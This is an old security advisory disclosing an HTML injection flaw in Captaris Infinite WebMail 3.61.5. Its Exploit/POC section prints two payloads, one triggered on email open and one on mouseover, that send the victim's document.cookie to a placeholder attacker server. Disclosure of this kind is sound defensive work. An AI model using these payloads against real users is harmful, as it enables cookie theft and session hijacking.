Captaris Infinite WebMail HTML Injection Vulnerability

BID:6411

Info

Captaris Infinite WebMail HTML Injection Vulnerability

Bugtraq ID: 6411
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Dec 16 2002 12:00AM
Updated: Dec 16 2002 12:00AM
Credit: Discovery of this issue is credited to "Pedram Amini" <[email protected]>.
Vulnerable: Captaris Infinite Webmail 3.61.5
Not Vulnerable:

Discussion

Captaris Infinite WebMail HTML Injection Vulnerability

An HTML injection vulnerability has been discovered in Captaris Infinite WebMail. Due to insufficient sanitization of HTML content, it is possible for an attacker to embed malicious script code into HTML email messages.

This may allow an attacker to steal cookie-based authentication credentials from users of the webmail system. Other attacks are also possible.

Exploit / POC

Captaris Infinite WebMail HTML Injection Vulnerability

The following proof-of-concept examples have been made available by pedram:

Launch on e-mail open:
<p style="left:expression(document.location=
'http://attackers.server/cgi-bin/logger.cgi?'
+document.cookie)">

Launch on mouse over:
<b onMouseOver= "document.location=
'http://attackers.server/cgi-bin/logger.cgi?'
+document.cookie\">

Solution / Fix

Captaris Infinite WebMail HTML Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Captaris Infinite WebMail HTML Injection Vulnerability

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